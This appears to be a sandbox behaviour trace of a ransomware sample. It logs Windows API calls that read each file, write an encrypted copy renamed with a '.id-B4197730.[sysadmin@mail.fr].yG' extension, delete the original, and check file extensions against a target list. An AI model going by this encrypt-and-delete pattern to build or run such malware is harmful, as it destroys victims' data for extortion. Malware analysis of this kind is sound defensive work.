	[0042.624] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x3758, lpOverlapped=0x0) returned 1
	[0042.674] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x3760, lpOverlapped=0x0) returned 1
	[0042.675] ReadFile (in: hFile=0x338, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.675] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf8, lpOverlapped=0x0) returned 1
	[0042.675] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.675] CloseHandle (hObject=0x2ec) returned 1
	[0042.676] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.676] SetEndOfFile (hFile=0x338) returned 1
	[0042.677] CloseHandle (hObject=0x338) returned 1
	[0042.677] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.677] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1
	[0042.677] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".doc") returned 4
	[0042.678] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".docx") returned 5
	[0042.678] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.678] lstrlenW (lpString=".pdf") returned 4
	[0042.678] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".xls") returned 4
	[0042.678] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".xlsx") returned 5
	[0042.678] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.678] lstrlenW (lpString=".ppt") returned 4
	[0042.678] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".zip") returned 4
	[0042.678] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".rar") returned 4
	[0042.678] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".bz2") returned 4
	[0042.678] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.678] lstrlenW (lpString=".7z") returned 3
	[0042.678] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".dbf") returned 4
	[0042.678] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".1cd") returned 4
	[0042.678] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".jpg") returned 4
	[0042.678] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.678] lstrlenW (lpString=".doc") returned 4
	[0042.678] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0042.678] lstrlenW (lpString=".docx") returned 5
	[0042.678] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0042.679] lstrlenW (lpString=".pdf") returned 4
	[0042.679] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString=".xls") returned 4
	[0042.679] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString=".xlsx") returned 5
	[0042.679] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0042.679] lstrlenW (lpString=".ppt") returned 4
	[0042.679] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.679] lstrlenW (lpString=".zip") returned 4
	[0042.679] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString=".rar") returned 4
	[0042.679] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0042.679] lstrlenW (lpString=".bz2") returned 4
	[0042.679] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0042.679] lstrlenW (lpString=".7z") returned 3
	[0042.679] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0042.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.679] lstrlenW (lpString=".dbf") returned 4
	[0042.679] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0042.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.679] lstrlenW (lpString=".1cd") returned 4
	[0042.679] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0042.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45
	[0042.679] lstrlenW (lpString=".jpg") returned 4
	[0042.679] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0042.679] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.679] lstrlenW (lpString="Rotate1.ico") returned 11
	[0042.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.735] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=894) returned 1
	[0042.735] CloseHandle (hObject=0x2e4) returned 1
	[0042.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0042.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.737] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.737] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.740] GetLastError () returned 0x0
	[0042.740] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.746] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.747] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.747] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.747] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.747] CloseHandle (hObject=0x2ec) returned 1
	[0042.748] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.748] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.748] CloseHandle (hObject=0x2f8) returned 1
	[0042.748] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.749] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1
	[0042.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.749] lstrlenW (lpString=".doc") returned 4
	[0042.749] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.749] lstrlenW (lpString=".docx") returned 5
	[0042.749] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0042.749] lstrlenW (lpString=".pdf") returned 4
	[0042.749] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.749] lstrlenW (lpString=".xls") returned 4
	[0042.749] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.749] lstrlenW (lpString=".xlsx") returned 5
	[0042.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0042.749] lstrlenW (lpString=".ppt") returned 4
	[0042.749] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.749] lstrlenW (lpString=".zip") returned 4
	[0042.749] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.749] lstrlenW (lpString=".rar") returned 4
	[0042.749] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.749] lstrlenW (lpString=".bz2") returned 4
	[0042.749] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.749] lstrlenW (lpString=".7z") returned 3
	[0042.749] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.749] lstrlenW (lpString=".dbf") returned 4
	[0042.749] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.749] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.749] lstrlenW (lpString=".1cd") returned 4
	[0042.750] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".jpg") returned 4
	[0042.750] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".doc") returned 4
	[0042.750] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.750] lstrlenW (lpString=".docx") returned 5
	[0042.750] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0042.750] lstrlenW (lpString=".pdf") returned 4
	[0042.750] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString=".xls") returned 4
	[0042.750] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString=".xlsx") returned 5
	[0042.750] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0042.750] lstrlenW (lpString=".ppt") returned 4
	[0042.750] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".zip") returned 4
	[0042.750] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString=".rar") returned 4
	[0042.750] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.750] lstrlenW (lpString=".bz2") returned 4
	[0042.750] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.750] lstrlenW (lpString=".7z") returned 3
	[0042.750] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".dbf") returned 4
	[0042.750] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".1cd") returned 4
	[0042.750] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.750] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0042.750] lstrlenW (lpString=".jpg") returned 4
	[0042.750] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.751] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.751] lstrlenW (lpString="Rotate3.ico") returned 11
	[0042.751] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.751] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=894) returned 1
	[0042.751] CloseHandle (hObject=0x2f8) returned 1
	[0042.751] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0042.751] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.751] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.751] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.751] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.751] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.752] GetLastError () returned 0x0
	[0042.752] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.810] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.811] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.811] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.811] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.811] CloseHandle (hObject=0x2ec) returned 1
	[0042.812] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.812] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.813] CloseHandle (hObject=0x2f8) returned 1
	[0042.813] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.813] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1
	[0042.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.813] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.813] lstrlenW (lpString=".doc") returned 4
	[0042.813] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.813] lstrlenW (lpString=".docx") returned 5
	[0042.813] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0042.813] lstrlenW (lpString=".pdf") returned 4
	[0042.813] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.813] lstrlenW (lpString=".xls") returned 4
	[0042.813] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString=".xlsx") returned 5
	[0042.814] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0042.814] lstrlenW (lpString=".ppt") returned 4
	[0042.814] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".zip") returned 4
	[0042.814] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString=".rar") returned 4
	[0042.814] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString=".bz2") returned 4
	[0042.814] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.814] lstrlenW (lpString=".7z") returned 3
	[0042.814] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".dbf") returned 4
	[0042.814] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".1cd") returned 4
	[0042.814] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".jpg") returned 4
	[0042.814] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".doc") returned 4
	[0042.814] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.814] lstrlenW (lpString=".docx") returned 5
	[0042.814] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0042.814] lstrlenW (lpString=".pdf") returned 4
	[0042.814] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString=".xls") returned 4
	[0042.814] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString=".xlsx") returned 5
	[0042.814] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0042.814] lstrlenW (lpString=".ppt") returned 4
	[0042.814] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.814] lstrlenW (lpString=".zip") returned 4
	[0042.815] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.815] lstrlenW (lpString=".rar") returned 4
	[0042.815] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.815] lstrlenW (lpString=".bz2") returned 4
	[0042.815] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.815] lstrlenW (lpString=".7z") returned 3
	[0042.815] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.815] lstrlenW (lpString=".dbf") returned 4
	[0042.815] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.815] lstrlenW (lpString=".1cd") returned 4
	[0042.815] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0042.815] lstrlenW (lpString=".jpg") returned 4
	[0042.815] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.815] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.815] lstrlenW (lpString="Rotate6.ico") returned 11
	[0042.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.815] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=894) returned 1
	[0042.815] CloseHandle (hObject=0x2f8) returned 1
	[0042.815] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0042.816] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.816] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0042.816] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.816] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.816] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0042.816] GetLastError () returned 0x0
	[0042.816] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.869] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.870] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.870] WriteFile (in: hFile=0x2ec, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.871] SetEndOfFile (hFile=0x2ec) returned 1
	[0042.875] CloseHandle (hObject=0x2ec) returned 1
	[0042.876] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.876] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.877] CloseHandle (hObject=0x2f8) returned 1
	[0042.877] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.877] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1
	[0042.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42
	[0042.877] lstrlenW (lpString=".doc") returned 4
	[0042.877] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.877] lstrlenW (lpString=".docx") returned 5
